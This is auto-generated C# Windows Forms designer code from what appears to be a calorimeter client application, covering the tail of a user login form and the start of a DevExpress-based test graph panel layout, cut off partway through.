this.cancelButton.Padding = new System.Windows.Forms.Padding(8, 0, 0, 0);
this.cancelButton.Size = new System.Drawing.Size(128, 32);
this.cancelButton.TabIndex = 3;
this.cancelButton.Text = "Cancel";
this.cancelButton.UseVisualStyleBackColor = true;
this.cancelButton.Click += new System.EventHandler(this.cancelButton_Click);
//
// okButton
//
this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK;
this.okButton.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.okButton.Image = ((System.Drawing.Image)(resources.GetObject("okButton.Image")));
this.okButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.okButton.Location = new System.Drawing.Point(16, 134);
this.okButton.Name = "okButton";
this.okButton.Padding = new System.Windows.Forms.Padding(8, 0, 0, 0);
this.okButton.Size = new System.Drawing.Size(128, 32);
this.okButton.TabIndex = 2;
this.okButton.Text = "Ok";
this.okButton.UseVisualStyleBackColor = true;
this.okButton.Click += new System.EventHandler(this.okButton_Click);
//
// userCombo
//
this.userCombo.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userCombo.FormattingEnabled = true;
this.userCombo.Items.AddRange(new object[] {
"일반",
"관리자"});
this.userCombo.Location = new System.Drawing.Point(113, 37);
this.userCombo.MaxLength = 20;
this.userCombo.Name = "userCombo";
this.userCombo.Size = new System.Drawing.Size(148, 23);
this.userCombo.TabIndex = 0;
//
// label5
//
this.label5.AutoSize = true;
this.label5.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.label5.Location = new System.Drawing.Point(39, 82);
this.label5.Name = "label5";
this.label5.Size = new System.Drawing.Size(63, 15);
this.label5.TabIndex = 23;
this.label5.Text = "Password";
//
// passwdEdit
//
this.passwdEdit.EditValue = "";
this.passwdEdit.Location = new System.Drawing.Point(113, 77);
this.passwdEdit.Name = "passwdEdit";
this.passwdEdit.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.passwdEdit.Properties.Appearance.Options.UseFont = true;
this.passwdEdit.Properties.Mask.EditMask = "f1";
this.passwdEdit.Properties.MaxLength = 20;
this.passwdEdit.Properties.PasswordChar = '*';
this.passwdEdit.Size = new System.Drawing.Size(148, 22);
this.passwdEdit.TabIndex = 1;
//
// prtSpeedLabel
//
this.prtSpeedLabel.AutoSize = true;
this.prtSpeedLabel.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.prtSpeedLabel.Location = new System.Drawing.Point(39, 40);
this.prtSpeedLabel.Name = "prtSpeedLabel";
this.prtSpeedLabel.Size = new System.Drawing.Size(49, 15);
this.prtSpeedLabel.TabIndex = 22;
this.prtSpeedLabel.Text = "User ID";
//
// FormUserLogin
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.CancelButton = this.cancelButton;
this.ClientSize = new System.Drawing.Size(300, 180);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
this.KeyPreview = true;
this.Name = "FormUserLogin";
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "FormUserLogin";
this.Load += new System.EventHandler(this.FormUserLogin_Load);
this.Enter += new System.EventHandler(this.FormUserLogin_Enter);
this.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.FormUserLogin_KeyPress);
this.bgPanel.ResumeLayout(false);
this.bgPanel.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.passwdEdit.Properties)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
public System.Windows.Forms.ComboBox userCombo;
private System.Windows.Forms.Label label5;
public DevExpress.XtraEditors.TextEdit passwdEdit;
private System.Windows.Forms.Label prtSpeedLabel;
private System.Windows.Forms.Button cancelButton;
private System.Windows.Forms.Button okButton;
}
}<file_sep>namespace Hnc.Calorimeter.Client
{
partial class CtrlTestGraphPanel
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
DevExpress.XtraEditors.Controls.EditorButtonImageOptions editorButtonImageOptions1 = new DevExpress.XtraEditors.Controls.EditorButtonImageOptions();
DevExpress.Utils.SerializableAppearanceObject serializableAppearanceObject1 = new DevExpress.Utils.SerializableAppearanceObject();
DevExpress.Utils.SerializableAppearanceObject serializableAppearanceObject2 = new DevExpress.Utils.SerializableAppearanceObject();
DevExpress.Utils.SerializableAppearanceObject serializableAppearanceObject3 = new DevExpress.Utils.SerializableAppearanceObject();
DevExpress.Utils.SerializableAppearanceObject serializableAppearanceObject4 = new DevExpress.Utils.SerializableAppearanceObject();
Ulee.Chart.UlDoubleBufferedSeriesCollection ulDoubleBufferedSeriesCollection1 = new Ulee.Chart.UlDoubleBufferedSeriesCollection();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CtrlTestGraphPanel));
this.applyButton = new System.Windows.Forms.Button();
this.plotPanel = new Ulee.Controls.UlPanel();
this.ulPanel6 = new Ulee.Controls.UlPanel();
this.plotSeriesGrid = new DevExpress.XtraGrid.GridControl();
this.plotSeriesGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.psRecNoColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.psCheckedColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.psColorColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.psColorEdit = new DevExpress.XtraEditors.Repository.RepositoryItemColorEdit();
this.psNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.psValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.psCursorAColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.psCursorBColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.psDiffColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.psMinColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.psMaxColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.psAvgColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.psUnitColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.yAxesSettingButton = new System.Windows.Forms.Button();
this.hideUncheckedCheck = new System.Windows.Forms.CheckBox();
this.resetButton = new System.Windows.Forms.Button();
this.undoButton = new System.Windows.Forms.Button();
this.stackButton = new System.Windows.Forms.Button();
this.autosetButton = new System.Windows.Forms.Button();
this.graphPanel = new Ulee.Controls.UlPanel();
this.viewGraph = new Ulee.Chart.UlDoubleBufferedLineChart();
this.imageList = new System.Windows.Forms.ImageList(this.components);
this.graphPauseLed = new Ulee.Controls.UlLed();
this.graphPauseButton = new System.Windows.Forms.Button();
this.zoomAxisCombo = new System.Windows.Forms.ComboBox();
this.label25 = new System.Windows.Forms.Label();
this.cursorButton = new System.Windows.Forms.Button();
this.bgPanel.SuspendLayout();
this.plotPanel.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.plotSeriesGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.plotSeriesGridView)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.psColorEdit)).BeginInit();
this.graphPanel.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.viewGraph)).BeginInit();
this.SuspendLayout();
//
// bgPanel
//
this.bgPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.bgPanel.Controls.Add(this.cursorButton);
this.bgPanel.Controls.Add(this.zoomAxisCombo);
this.bgPanel.Controls.Add(this.label25);
this.bgPanel.Controls.Add(this.graphPauseLed);
this.bgPanel.Controls.Add(this.graphPauseButton);
this.bgPanel.Controls.Add(this.resetButton);
this.bgPanel.Controls.Add(this.undoButton);
this.bgPanel.Controls.Add(this.stackButton);
this.bgPanel.Controls.Add(this.autosetButton);
this.bgPanel.Controls.Add(this.graphPanel);
this.bgPanel.Controls.Add(this.applyButton);
this.bgPanel.Controls.Add(this.plotPanel);
this.bgPanel.Controls.Add(this.yAxesSettingButton);
this.bgPanel.Controls.Add(this.hideUncheckedCheck);
this.bgPanel.Size = new System.Drawing.Size(1384, 859);
//
// applyButton
//
this.applyButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.applyButton.Location = new System.Drawing.Point(304, 2);
this.applyButton.Name = "applyButton";
this.applyButton.Padding = new System.Windows.Forms.Padding(2, 0, 0, 0);
this.applyButton.Size = new System.Drawing.Size(96, 26);
this.applyButton.TabIndex = 79;
this.applyButton.TabStop = false;
this.applyButton.Text = "Apply";
this.applyButton.UseVisualStyleBackColor = true;
this.applyButton.Click += new System.EventHandler(this.applyButton_Click);
//
// plotPanel
//
this.plotPanel.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.plotPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.plotPanel.Controls.Add(this.ulPanel6);
this.plotPanel.Controls.Add(this.plotSeriesGrid);
this.plotPanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.plotPanel.InnerColor2 = System.Drawing.Color.White;
this.plotPanel.Location = new System.Drawing.Point(0, 30);
this.plotPanel.Name = "plotPanel";
this.plotPanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.plotPanel.OuterColor2 = System.Drawing.Color.White;
this.plotPanel.Size = new System.Drawing.Size(400, 829);
this.plotPanel.Spacing = 0;
this.plotPanel.TabIndex = 78;
this.plotPanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.plotPanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel6
//
this.ulPanel6.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel6.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel6.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel6.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel6.ForeColor = System.Drawing.Color.White;
this.ulPanel6.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel6.InnerColor2 = System.Drawing.Color.White;
this.ulPanel6.Location = new System.Drawing.Point(6, 6);
this.ulPanel6.Name = "ulPanel6";
this.ulPanel6.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel6.OuterColor2 = System.Drawing.Color.White;
this.ulPanel6.Size = new System.Drawing.Size(388, 28);
this.ulPanel6.Spacing = 0;
this.ulPanel6.TabIndex = 6;
this.ulPanel6.Text = "PLOT SERIES";
this.ulPanel6.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel6.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// plotSeriesGrid
//
this.plotSeriesGrid.Location = new System.Drawing.Point(6, 38);
this.plotSeriesGrid.MainView = this.plotSeriesGridView;
this.plotSeriesGrid.Name = "plotSeriesGrid";
this.plotSeriesGrid.RepositoryItems.AddRange(new DevExpress.XtraEditors.Repository.RepositoryItem[] {
this.psColorEdit});
this.plotSeriesGrid.Size = new System.Drawing.Size(388, 785);
this.plotSeriesGrid.TabIndex = 73;
this.plotSeriesGrid.TabStop = false;
this.plotSeriesGrid.Tag = "1";
this.plotSeriesGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.plotSeriesGridView});
//
// plotSeriesGridView
//
this.plotSeriesGridView.ActiveFilterEnabled = false;
this.plotSeriesGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.plotSeriesGridView.Appearance.FixedLine.Options.UseFont = true;
this.plotSeriesGridView.Appearance.FocusedCell.Font = new System.Drawing.Font("Arial", 9F);
this.plotSeriesGridView.Appearance.FocusedCell.Options.UseFont = true;
this.plotSeriesGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.plotSeriesGridView.Appearance.FocusedRow.Options.UseFont = true;
this.plotSeriesGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.plotSeriesGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.plotSeriesGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.plotSeriesGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.plotSeriesGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.plotSeriesGridView.Appearance.OddRow.Options.UseFont = true;
this.plotSeriesGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.plotSeriesGridView.Appearance.Preview.Options.UseFont = true;
this.plotSeriesGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.plotSeriesGridView.Appearance.Row.Options.UseFont = true;
this.plotSeriesGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.plotSeriesGridView.Appearance.SelectedRow.Options.UseFont = true;
this.plotSeriesGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.plotSeriesGridView.Appearance.ViewCaption.Options.UseFont = true;
this.plotSeriesGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.psRecNoColumn,
this.psCheckedColumn,
this.psColorColumn,
this.psNameColumn,
this.psValueColumn,
this.psCursorAColumn,
this.psCursorBColumn,
this.psDiffColumn,
this.psMinColumn,
this.psMaxColumn,
this.psAvgColumn,
this.psUnitColumn});
this.plotSeriesGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.plotSeriesGridView.GridControl = this.plotSeriesGrid;
this.plotSeriesGridView.Name = "plotSeriesGridView";
this.plotSeriesGridView.OptionsCustomization.AllowColumnMoving = false;
this.plotSeriesGridView.OptionsCustomization.AllowFilter = false;
this.plotSeriesGridView.OptionsCustomization.AllowGroup = false;
this.plotSeriesGridView.OptionsCustomization.AllowMergedGrouping = DevExpress.Utils.DefaultBoolean.False;
this.plotSeriesGridView.OptionsCustomization.AllowQuickHideColumns = false;
this.plotSeriesGridView.OptionsCustomization.AllowSort = false;
this.plotSeriesGridView.OptionsFilter.AllowAutoFilterConditionChange = DevExpress.Utils.DefaultBoolean.False;
this.plotSeriesGridView.OptionsFilter.AllowColumnMRUFilterList = false;
this.plotSeriesGridView.OptionsFilter.AllowFilterEditor = false;
this.plotSeriesGridView.OptionsFilter.AllowFilterIncrementalSearch = false;
this.plotSeriesGridView.OptionsFilter.AllowMRUFilterList = false;
this.plotSeriesGridView.OptionsFilter.AllowMultiSelectInCheckedFilterPopup = false;
this.plotSeriesGridView.OptionsFilter.ShowAllTableValuesInCheckedFilterPopup = false;
this.plotSeriesGridView.OptionsLayout.Columns.AddNewColumns = false;
this.plotSeriesGridView.OptionsLayout.Columns.RemoveOldColumns = false;
this.plotSeriesGridView.OptionsLayout.StoreAllOptions = true;
this.plotSeriesGridView.OptionsView.ColumnAutoWidth = false;
this.plotSeriesGridView.OptionsView.ShowGroupPanel = false;
this.plotSeriesGridView.OptionsView.ShowIndicator = false;
this.plotSeriesGridView.Tag = 1;
this.plotSeriesGridView.CustomDrawColumnHeader += new DevExpress.XtraGrid.Views.Grid.ColumnHeaderCustomDrawEventHandler(this.plotSeriesGridView_CustomDrawColumnHeader);
this.plotSeriesGridView.CustomRowFilter += new DevExpress.XtraGrid.Views.Base.RowFilterEventHandler(this.plotSeriesGridView_CustomRowFilter);
this.plotSeriesGridView.MouseDown += new System.Windows.Forms.MouseEventHandler(this.plotSeriesGridView_MouseDown);
//
// psRecNoColumn
//
this.psRecNoColumn.Caption = "RecNo";
this.psRecNoColumn.FieldName = "RecNo";
this.psRecNoColumn.Name = "psRecNoColumn";
//
// psCheckedColumn
//
this.psCheckedColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.psCheckedColumn.AppearanceCell.Options.UseFont = true;
this.psCheckedColumn.AppearanceCell.Options.UseTextOptions = true;
this.psCheckedColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.psCheckedColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.psCheckedColumn.AppearanceHeader.Options.UseFont = true;
this.psCheckedColumn.AppearanceHeader.Options.UseTextOptions = true;
this.psCheckedColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.psCheckedColumn.Caption = "Checked";
this.psCheckedColumn.FieldName = "Checked";
this.psCheckedColumn.ImageOptions.Alignment = System.Drawing.StringAlignment.Center;
this.psCheckedColumn.ImageOptions.Image = global::Hnc.Calorimeter.Client.Properties.Resources.Unchecked;
this.psCheckedColumn.ImageOptions.ImageIndex = 0;
this.psCheckedColumn.Name = "psCheckedColumn";
this.psCheckedColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.psCheckedColumn.OptionsColumn.AllowIncrementalSearch = false;
this.psCheckedColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.psCheckedColumn.OptionsColumn.AllowMove = false;
this.psCheckedColumn.OptionsColumn.AllowShowHide = false;
this.psCheckedColumn.OptionsColumn.AllowSize = false;
this.psCheckedColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.psCheckedColumn.OptionsColumn.FixedWidth = true;
this.psCheckedColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.psCheckedColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.psCheckedColumn.OptionsColumn.ShowCaption = false;
this.psCheckedColumn.OptionsColumn.TabStop = false;
this.psCheckedColumn.OptionsFilter.AllowAutoFilter = false;
this.psCheckedColumn.OptionsFilter.AllowFilter = false;
this.psCheckedColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.psCheckedColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.psCheckedColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.psCheckedColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnCheck = DevExpress.Utils.DefaultBoolean.False;
this.psCheckedColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnDateChange = DevExpress.Utils.DefaultBoolean.False;
this.psCheckedColumn.OptionsFilter.ImmediateUpdatePopupExcelFilter = DevExpress.Utils.DefaultBoolean.False;
this.psCheckedColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.psCheckedColumn.Visible = true;
this.psCheckedColumn.VisibleIndex = 0;
this.psCheckedColumn.Width = 22;
//
// psColorColumn
//
this.psColorColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.psColorColumn.AppearanceCell.Options.UseFont = true;
this.psColorColumn.AppearanceCell.Options.UseTextOptions = true;
this.psColorColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.psColorColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.psColorColumn.AppearanceHeader.Options.UseBackColor = true;
this.psColorColumn.AppearanceHeader.Options.UseFont = true;
this.psColorColumn.AppearanceHeader.Options.UseTextOptions = true;
this.psColorColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.psColorColumn.Caption = "Color";
this.psColorColumn.ColumnEdit = this.psColorEdit;
this.psColorColumn.FieldName = "Color";
this.psColorColumn.Name = "psColorColumn";
this.psColorColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.psColorColumn.OptionsColumn.AllowIncrementalSearch = false;
this.psColorColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.psColorColumn.OptionsColumn.AllowMove = false;
this.psColorColumn.OptionsColumn.AllowShowHide = false;
this.psColorColumn.OptionsColumn.AllowSize = false;
this.psColorColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.psColorColumn.OptionsColumn.FixedWidth = true;
this.psColorColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.psColorColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.psColorColumn.OptionsFilter.AllowAutoFilter = false;
this.psColorColumn.OptionsFilter.AllowFilter = false;
this.psColorColumn.Visible = true;
this.psColorColumn.VisibleIndex = 1;
this.psColorColumn.Width = 44;
//
// psColorEdit
//
this.psColorEdit.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.psColorEdit.Appearance.Options.UseFont = true;
this.psColorEdit.Appearance.Options.UseTextOptions = true;
this.psColorEdit.Appearance.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.psColorEdit.AppearanceDropDown.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.psColorEdit.AppearanceDropDown.Options.UseFont = true;
this.psColorEdit.AppearanceDropDown.Options.UseTextOptions = true;
this.psColorEdit.AppearanceDropDown.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.psColorEdit.AppearanceFocused.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.psColorEdit.AppearanceFocused.Options.UseFont = true;
this.psColorEdit.AppearanceFocused.Options.UseTextOptions = true;
this.psColorEdit.AppearanceFocused.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.psColorEdit.AutoHeight = false;
serializableAppearanceObject1.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
serializableAppearanceObject1.Options.UseFont = true;
serializableAppearanceObject1.Options.UseTextOptions = true;
serializableAppearanceObject1.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.psColorEdit.Buttons.AddRange(new DevExpress.XtraEditors.Controls.EditorButton[] {
new DevExpress.XtraEditors.Controls.EditorButton(DevExpress.XtraEditors.Controls.ButtonPredefines.Combo, "", -1, true, true, false, editorButtonImageOptions1, new DevExpress.Utils.KeyShortcut(System.Windows.Forms.Keys.None), serializableAppearanceObject1, serializableAppearanceObject2, serializableAppearanceObject3, serializableAppearanceObject4, "", null, null, DevExpress.Utils.ToolTipAnchor.Default)});
this.psColorEdit.ColorAlignment = DevExpress.Utils.HorzAlignment.Center;
this.psColorEdit.Name = "psColorEdit";
this.psColorEdit.ShowSystemColors = false;
//
// psNameColumn
//
this.psNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.psNameColumn.AppearanceCell.Options.UseFont = true;
this.psNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.psNameColumn.AppearanceHeader.Options.UseFont = true;
this.psNameColumn.Caption = "Name";
this.psNameColumn.FieldName = "Name";
this.psNameColumn.MaxWidth = 200;
this.psNameColumn.MinWidth = 98;
this.psNameColumn.Name = "psNameColumn";
this.psNameColumn.OptionsColumn.AllowEdit = false;
this.psNameColumn.OptionsColumn.AllowFocus = false;
this.psNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.psNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.psNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.psNameColumn.OptionsColumn.AllowMove = false;
this.psNameColumn.OptionsColumn.AllowShowHide = false;
this.psNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.psNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.psNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.psNameColumn.OptionsColumn.ReadOnly = true;
this.psNameColumn.OptionsFilter.AllowAutoFilter = false;
this.psNameColumn.OptionsFilter.AllowFilter = false;
this.psNameColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.psNameColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.psNameColumn.Visible = true;
this.psNameColumn.VisibleIndex = 2;
this.psNameColumn.Width = 152;
//
// psValueColumn
//
this.psValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.psValueColumn.AppearanceCell.Options.UseFont = true;
this.psValueColumn.AppearanceCell.Options.UseTextOptions = true;
this.psValueColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.psValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.psValueColumn.AppearanceHeader.Options.UseFont = true;
this.psValueColumn.Caption = "Value";
this.psValueColumn.FieldName = "Value";
this.psValueColumn.Name = "psValueColumn";
this.psValueColumn.OptionsColumn.AllowEdit = false;
this.psValueColumn.OptionsColumn.AllowFocus = false;
this.psValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.psValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.psValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.psValueColumn.OptionsColumn.AllowMove = false;
this.psValueColumn.OptionsColumn.AllowShowHide = false;
this.psValueColumn.OptionsColumn.AllowSize = false;
this.psValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.psValueColumn.OptionsColumn.FixedWidth = true;
this.psValueColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.psValueColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.psValueColumn.OptionsColumn.ReadOnly = true;
this.psValueColumn.OptionsFilter.AllowAutoFilter = false;
this.psValueColumn.OptionsFilter.AllowFilter = false;
this.psValueColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.psValueColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.psValueColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.psValueColumn.OptionsFilter.ShowBlanksFilterItems = DevExpress.Utils.DefaultBoolean.False;
this.psValueColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.psValueColumn.Visible = true;
this.psValueColumn.VisibleIndex = 3;
this.psValueColumn.Width = 60;
//
// psCursorAColumn
//
this.psCursorAColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.psCursorAColumn.AppearanceCell.Options.UseFont = true;
this.psCursorAColumn.AppearanceCell.Options.UseTextOptions = true;
this.psCursorAColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.psCursorAColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.psCursorAColumn.AppearanceHeader.Options.UseFont = true;
this.psCursorAColumn.Caption = "A";
this.psCursorAColumn.FieldName = "CursorA";
this.psCursorAColumn.Name = "psCursorAColumn";
this.psCursorAColumn.OptionsColumn.AllowEdit = false;
this.psCursorAColumn.OptionsColumn.AllowFocus = false;
this.psCursorAColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.psCursorAColumn.OptionsColumn.AllowIncrementalSearch = false;
this.psCursorAColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.psCursorAColumn.OptionsColumn.AllowMove = false;
this.psCursorAColumn.OptionsColumn.AllowShowHide = false;
this.psCursorAColumn.OptionsColumn.AllowSize = false;
this.psCursorAColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.psCursorAColumn.OptionsColumn.FixedWidth = true;
this.psCursorAColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.psCursorAColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.psCursorAColumn.OptionsColumn.ReadOnly = true;
this.psCursorAColumn.OptionsFilter.AllowAutoFilter = false;
this.psCursorAColumn.OptionsFilter.AllowFilter = false;
this.psCursorAColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.psCursorAColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.psCursorAColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.psCursorAColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnCheck = DevExpress.Utils.DefaultBoolean.False;
